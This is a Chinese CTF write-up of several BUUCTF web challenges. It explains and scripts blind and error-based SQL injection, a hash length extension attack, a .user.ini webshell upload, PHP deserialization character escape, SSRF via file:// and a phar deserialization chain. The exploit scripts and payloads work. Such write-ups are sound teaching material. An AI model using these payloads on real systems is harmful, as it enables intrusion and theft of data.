前言
最近感觉自己菜出来新境界。。。刷点题来证明我还存在。。。言归正传。开刷
hack world
知识点:sql布尔盲注,bypass
进入题目,发现这是典型的sql布尔盲注,题目给出了表名和列名都是flag,用burp进行fuzz测试发现存在过滤。
过滤了 or limit delete update and * # -- & 空格 for ; || +
因为没有注释符sql语句不能被截断,所以只能来试试传入sql运算语句,测试能否被执行。测试发现2/1返回的是id=2的值,
当传递2/2是,返回的是id=1时的值,所以发现运算可以被执行,这就是注入点,像if、sleep函数等
这里说一下sleep函数,直接看测试
false执行时间为0,true返回时间是1,所以可以进行延时注入。
最后上exp:
#coding=utf-8
import requests as rq
import sys
import time
reload(sys)
sys.setdefaultencoding("utf8")
url='http://99449ee6-0e39-42e0-bc66-e046d431b3ef.node1.buuoj.cn/index.php'
flag=""
headers={
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0'
}
for a in range(1,43):
for i in range(32,127):
post= "if((ascii(substr((select(flag)from(flag)),"+str(a)+",1))="+str(i)+"),1,2)"
data={'id':post}
res=rq.post(url,headers=headers,data=data)
print res.text
time.sleep(1)
if "glzjin" in res.text:
flag+=chr(i)
print flag
break
# print flag
esaysql
知识点: 堆叠注入,sql_mode参数的设置
经过测试发现是堆叠注入,查库名:
query=1;show databases;
得到ctf;
查表名:
query=1;show tables;
得到Flag
查列名:
query=1;desc Flag;
发现被过滤返回Nonono.
尝试编码,发现gg凉了,凉的透透的。。。
flag被过滤了。
尝试预编译和改表结构。都不行,只能去找writeup了。。。
新的知识点:
mysql中sql_mode
参数的设置。
通过输入的字符串串可以大致判断出后端逻辑是:$query||FLAG
在sql_mode
,可以通过将其值设置为PIPES_AS_CONCAT
改变||
的作⽤为拼接字符串,此时随便输⼊⼀串字符串便能返回该字符串与FLAG拼接的内容。
payload:
1;set sql_mode=pipes_as_concat;select 1
非预期解:
*,1
这样把Flag表中的所有数据都查出来。flag就出来了。。
ssrf me
知识点: ssrf,哈希拓展攻击
打开题目发现源码:
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)#密钥16位
class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)#读param文件
if (resp == "Connection Timeout"):
result['data'] = resp# 写入文件
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):
if (getSign(self.action, self.param) == self.sign): #检查签名
return True
else:
return False
#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()#密钥+参数+action
def md5(content):
return hashlib.md5(content).hexdigest()
def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0',port=80)
通读源码发现要想获得flag需要读取flag.txt,要想读取读取flag.txt。要把flag.txt写到自己目录下的result.txt。要想写需要’scan’在参数param里,并且(密钥+参数+action)加密后需要等于sign。
首先可以获取签名。通过访问geneSign可以获取。
方法一(非预期)
首先我们发现获取签名时,我们可以控制param,加密(密钥+参数+action)参数可控,检测签名时,param和action可控,但param只能等于flag.txt,加密(密钥+参数+action)。我们可以在获取签名时,直接获得flag.txtread的签名,这时签名是(密钥+flag.txtreadscan),我们直接获得可读可写的签名,我们在读flag时我们可以控制action这时,action等于readscan时,签名仍然是(密钥+flag.txtreadscan)。直接获取flag。(设计缺陷)
exp:
#coding=utf-8
import requests
import hashlib
url ='http://b08adef7-1e07-4c3e-8cad-382566be0694.node1.buuoj.cn/De1ta?param=flag.txt'
url1='http://b08adef7-1e07-4c3e-8cad-382566be0694.node1.buuoj.cn/geneSign?param=flag.txtread'
res1=requests.get(url1)# 获取密文
print res1.text
cookies={
'action':'readscan',
'sign':res1.text
}
res=requests.get(url,cookies=cookies)
print res.text
方法二
通过签名我们很容易想到哈希拓展攻击,题中给出了密文16位,和参数flag.txt,在 /geneSign?param=flag.txt
中可以获取 md5(secert_key + 'flag.txt' + 'scan')
的值,而目标则是获取 md5(secert_key + 'flag.txt' + 'readscan')
的值。
- 使用 hashpump 即可
exp :root@peri0d:~/HashPump# hashpump Input Signature: 8370bdba94bd5aaf7427b84b3f52d7cb Input Data: scan Input Key Length: 24(把flag.txt当成密钥的一部分) Input Data to Add: read d7163f39ab78a698b3514fd465e4018a scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\x00\x00\x00\x00read
import requests
url = 'http://b08adef7-1e07-4c3e-8cad-382566be0694.node1.buuoj.cn/De1ta?param=flag.txt'
cookies = {
'sign': 'd7163f39ab78a698b3514fd465e4018a',
'action': 'scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read',
}
res = requests.get(url=url, cookies=cookies)
print(res.text)
suctf2019 CheckIn
知识点:变形马,.user.ini
进入题目,发现是个文件上传,可以上传jpg、png等文件,限制了php文件,而且还判断了上传的文件头,使用exif_image来判断的,这个很容易绕过,直接随便加一个图片文件头就行。上传成功后返回你目录下的所有文件。尝试上传图片马,发现检测<?
这个,这里用因为不能出现<?
所以用<script language="php"></script>
来绕过。
但是图片马上传成功了,怎么解析呢???想到了.htaccess
文件,但是文件不让上传,新的方式(其实是老姿势了):.user.ini
什么是.user.ini
呢?
除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT']
所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。(所以要执行的马要在.user.ini
的同级或子目录下。)
和php.ini
不同的是,.user.ini
是一个能被动态加载的ini文件。也就是说我修改了.user.ini
后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl
所设置的时间(默认为300秒),即可被重新加载。
除了PHP_INI_SYSTEM
以外的模式(包括PHP_INI_ALL)都是可以通过.user.ini来设置的。
在.user.ini可以指定auto_append_file
、auto_prepend_file
指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中
auto_prepend_file=1.png //建议改为绝对路径
需要三个文件一个正常访问的php文件1.php, .user.ini
,和1.png(图片马),访问1.php
即可执行马。(记住是php文件).user.ini
的前提是含有.user.ini
的文件夹下需要有正常的php文件。不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法。只能在这种运行方式下才能执行.user.ini
。(真坑)这里对应的phpstudy里的nts模式
exp:
import requests
import base64
url = "http://cdcdbc1e-ae32-4727-9850-a65464dfeecd.node1.buuoj.cn"
# userini = b'''#define width 10
# #define height 10
# auto_prepend_file=alex.jpg
# '''
userini = b'''GIF89a
auto_prepend_file=alex.jpg
'''
# shell = b'''#define width 10
# #define height 10
# <script language='php'>system('cat /flag');</script>'''
shell = b'''GIF89a
<script language='php'>system('cat /flag');</script>'''
files = [('fileUpload',('.user.ini',userini,'image/jpeg'))]
data = {"upload":"Submit"}
proxies = {"http":"http://127.0.0.1:8080"}
print("upload .user.ini")
r = requests.post(url=url, data=data, files=files)#proxies=proxies)
print(r.text)
print("upload alex.jpg")
files = [('fileUpload',('alex.jpg',shell,'image/jpeg'))]
r = requests.post(url=url, data=data, files=files)
print(r.text)
url1='http://cdcdbc1e-ae32-4727-9850-a65464dfeecd.node1.buuoj.cn/uploads/fd40c7f4125a9b9ff1a4e75d293e3080/'
res = requests.get(url=url1)
print '---------------------'
print(res.text)
[0CTF 2016]piapiapia
知识点:数组绕过正则,改变序列化字符串长度导致反序列化漏洞,字符逃逸
这个题太经典了。。。(有点扯了,回归正题)
进入题目发现是个登陆框。猜测存在注册,访问register.php,注册账号,然后登陆进入,需要修改个人信息。修改信息后,发现我们的信息显示出来,因为上传图片并显示了图片,查看源代码,发现图片是被base64读出来的,然后显示出来的。
测试一下,并没有什么发现。。。猜测有源码,用工具扫一下。。。 真死亡,都是响应。被指定页面了,死亡。。。
手试一下,www.zip,emmm还真有。。。然后就是代码审计了。
可以知道flag在config.php。
首先我们发现对个人的基本信息存在数组中,然后进行了序列化,把序列化后的值存入数据库,然后显示数据时是把数据从数据库中取出来,进行反序列化,然后显示出来,这里我们可以注意到file_get_contents()
函数读取我们上传的图片内容然后显示。这里面思路已经很明显了,把$profile
数组的photo改为config.php,我们就可以成功获取flag了。
关键代码:
//存数据
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
//取数据
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>
然后继续审计源码。我们发现我们传入数据,都需要进入filter函数进入过滤。这里过滤了单引号和反斜线。
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
然后sql注入就不行了。所以问题肯定在反序列化那里。
然后这我就不会了。下面是重点了。
我们输入的信息都要被检测:
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');
我们注意了,仔细观察第一个正则。没有匹配到开头结尾都是数字的连续十一位的数字,就die了。没有绕过方法。第二个正则,没有匹配到开头为[_a-zA-Z0-9]
中的字符一到十位连接@
符再连接[_a-zA-Z0-9]
中的字符一到十位连接.
再连接[_a-zA-Z0-9]
中的字符一到十位,就die了。没有任何绕过方法。第三个判断,先是匹配到不是[a-zA-Z0-9_]
字符中的任意字符就返回真,再判断长度小于10,在这里当preg_match处理数组时,会报错,数组可以绕过strlen的长度判断。所以这里数组可以绕过对nickname的限制。
然后在看代码:
$user->update_profile($username, serialize($profile));
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
结合filter函数,这里把序列化的值,传入filter进行过滤,将序列化值里的含有$safe
危险字符替换为hacker。这里有个知识点:反序列化字符逃逸。
先测试一个例子:
<?php
$s='s:10:"wherealex""';
$sss= unserialize($s);
echo $sss;
echo "<br>";
$s1='s:10:"hackeralex""';
$sss1= unserialize($s1);
echo $sss1;
得到:
wherealex"
hackeralex
逃逸了一个字符。
我们需要逃逸";}s:5:"photo";s:10:"config.php";}
34个字符。所以需要34个where。这里是通过pop链来实现字符逃逸。先想要进行字符逃逸,字符被替换成hacker六个字符,只有where是五个字符可以帮我们逃逸一个字符。
我们还需要知道当反序列化到足够的长度时,后面的数据会被扔掉
测试:
<?php
var_dump(unserialize('a:4:{s:5:"phone";s:11:"17758584216";s:5:"email";s:17:"1669390868@qq.com";s:8:"nickname";s:3:"111";s:5:"photo";s:10:"config.php";}s:5:"photo";s:10:"config.php";}'));
得到:
array(4) { ["phone"]=> string(11) "17758584216" ["email"]=> string(17) "1669390868@qq.com" ["nickname"]=> string(3) "111" ["photo"]=> string(10) "config.php" }
本地测试一波payload:
<?php
$profile['phone'] ='17758584216';
$profile['email'] = '123@qq.com';
$profile['nickname'][] ='wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}';
$profile['photo'] = '1111111';
echo serialize($profile);
$string=serialize($profile);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
$S=preg_replace($safe, 'hacker', $string);
echo "<br>";
echo "<br>";
echo "<br>";
var_dump(unserialize($S));
得到:
a:4:{s:5:"phone";s:11:"17758584216";s:5:"email";s:10:"123@qq.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:7:"1111111";}
array(4) { ["phone"]=> string(11) "17758584216" ["email"]=> string(10) "123@qq.com" ["nickname"]=> array(1) { [0]=> string(204) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker" } ["photo"]=> string(10) "config.php" }
成功。所以payload:nickname[]
传入
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
成功把config.php读出来。进行base64解码即可得到flag。
Fakebook
知识点:sql注入,SSRF,反序列化
进入这个题目,注册登陆,发现是添加网址,并展示页面,猜测存在ssrf。。
进入展示地址页面,发现并没有展示出来。
发现get传入参数no,像是id,猜测存在注入。。。
随手试试1 and 0成功。。。
开始fuzz,测试发现过滤了
hex
0x
union select 但是union/**/select可以绕过
发现存在报错注入:
开搞
1 and updatexml(1,concat('~',substr((select group_concat(schema_name) from information_schema.schemata),1,32),'~'),1) # 注库名 得到fakebook,information_schema,mysql,performance_schema,test
1 and updatexml(1,concat('~',substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,32),'~'),1) #注表 users
1 and updatexml(1,concat('~',substr((Select group_concat(column_name) from information_schema.columns where table_name='users'),1,32),'~'),1) #注列 no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS
emmm,没有flag???
说明思路可能有点问题。。。
最后扫一下目录,发现存在robots.txt,user.php,db.php,和flag.php(扫目录的重要性),提示
User-agent: *
Disallow: /user.php.bak
存在源码。。。这就舒服了。
对了我们知道了文件地址,尝试load_file()读一下?
成了!!!
http://89c25947-8872-4ae9-b0f1-c18a190e9a78.node2.buuoj.cn.wetolink.com:82/view.php?no=0%20union/**/select+1,load_file(%27/var/www/html/flag.php%27),1,1
同样可以盲注exp:
import requests
url = 'http://89c25947-8872-4ae9-b0f1-c18a190e9a78.node2.buuoj.cn.wetolink.com:82/view.php?no='
result = ''
for x in range(0, 100):
high = 127
low = 32
mid = (low + high) // 2
while high > low:
payload = "if(ascii(substr((load_file('/var/www/html/flag.php')),%d,1))>%d,1,0)" % (x, mid)
response = requests.get(url+payload)
if 'https://ab-alex.xyz' in response.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
result += chr(int(mid))
print(result)
他给的源码什么意思???(一脸懵逼。。。)
研究源码:user.php.bak
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();//初始化一个curl会话
curl_setopt($ch, CURLOPT_URL, $url);//设置需要抓取的URL
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);//设置cURL 参数,要求结果保存到字符串中如果成功只将结果返回,不自动输出任何内容。
$output = curl_exec($ch); //运行cURL,请求网页
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); //获取http状态码
if($httpCode == 404) {
return 404;
}
curl_close($ch);//关闭一个curl会话
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
仔细读源码,我们可以通过ssrf来读取文件,我们可以让url等于file://
来读文件,让服务器读取文件然后再返回,构造exp:
<?php
class UserInfo
{
public $name = "alex";
public $age = 1;
public $blog = "file:///var/www/html/flag.php";
}
$a=new UserInfo;
echo serialize($a);
//O:8:"UserInfo":3:{s:4:"name";s:4:"alex";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php
payload:
http://89c25947-8872-4ae9-b0f1-c18a190e9a78.node2.buuoj.cn.wetolink.com:82/view.php?no=0 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"alex";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
成功读取flag。最后发现load_file是非预期解emmm。
[CISCN2019 华北赛区 Day1 Web1]Dropbox
知识点:任意文件下载,PHAR反序列化RCE
进入题目,发现是个登陆框,有注册,注册账号然后登陆,发现能够进行上传文件,测试上传,上传对文件名没有做限制(前端限制,忽略),尝试上传php文件。能够上传,但是文件后缀被改成png,文件名没有变化。发现存在下载和删除功能。。。(测试我常见的漏洞,均未果)
正确思路,发现存在下载功能,那我们可以尝试下载源码啊。尝试
filename=../../index.php成功下载到源代码。开始下载所有源码:class.php,delete.php,download.php,login.php,register.php
开始审计源码:
<?php
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) { #省略一些代码
echo $file->close();
} else {
echo "File not exist"; }
?>
这里禁止了对flag的下载。。所以想要获取flag,需要另寻他法。。。
这里用到了phar序列化。具体参考另一篇文章phar拓展反序列化攻击面。
这里来梳理一下这个题的逻辑,首先,看这三个类,具体代码:
class User {
public $db;
public function __construct() {
global $db;
$this->db = $db;
}
public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}
public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}
public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename);
}
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
public function detele() {
unlink($this->filename);
}
public function close() {
return file_get_contents($this->filename);
}
}
先说User类,功能:检查用户是存在,添加用户,验证登录。FileList类,功能:获得用户的上传目录里的文件,并显示在页面上。File类,功能:检测文件是否存在,检测文件大小,删除文件,获取文件内容,获取文件名。
我们想要读取flag文件,只能通过File类的方法close(),来读取flag文件,审计代码,发现没有其他方法调用close方法,
我们所拥有的权限是文件的上传,文件的删除,文件的下载。但是我们发现User类析构函数里面调用了对象的closse方法,析构函数在对象销毁的时候自动执行。然后我们发现FileList类里面存在__call()
魔术方法,这个方法是在对象调用不存在的方法时候执行,然后FileList类里面没有close方法。会执行call方法。然后就会调用File对象的close方法。close方法执行后存在results变量里的结果会加入到table变量中被打印出来。
所以我们要构造自己payload的思路就非常清晰了,想要调用File类的方法close(),就先要调用FileList类里面__call()
魔术方法,要想调用__call()
魔术方法,就要调用User类的析构函数。所以我们要先定义一个User对象,然后让User对象的db属性指向一个FileList对象。把FileList对象的属性file指向一个File对象,filename指向我们的flag文件。files属性以数组形式指向我们的file对象。在User对象销毁时,执行FileList对象的close方法,因为没有close方法,所以执行call方法,然后会执行File对象的close方法。就可以获取flag了。然后由phar反序列化可知,我们可以得到序列化对象。
payload:
<?php
class User {
public $db;
}
class File {
public $filename;
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct() {
$file = new File();
$file->filename = '/flag.txt';
$this->files = array($file);
$this->results = array();
$this->funcs = array();
}
}
@unlink("phar.phar");
$phar = new Phar('phar.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();'); //设置stub,增加gif文件头
$phar ->addFromString('alex.txt','test'); //添加要压缩的文件
$object = new User();
$object -> db = new FileList();
$phar -> setMetadata($object); //将自定义meta-data存入manifest
$phar -> stopBuffering();
?>
然后我们获取到phar.phar文件,改后缀为gif。上传成功。然后我们需要找地方打开我们的文件,出发phar机制,来生成序列化对象,发现delete.php,有打开文件。且能够控制文件名,没有队文件名进行限制。
if (strlen($filename) < 40 && $file->open($filename))
所以,上传之后,我删除文件时,传入文件名为phar://phar.gif/alex.txt,就可以触发phar机制,生成我们构造的User对象。就会执行上面的所述流程。读取flag文件并输出出来。
参考链接:
buuctf部分writeup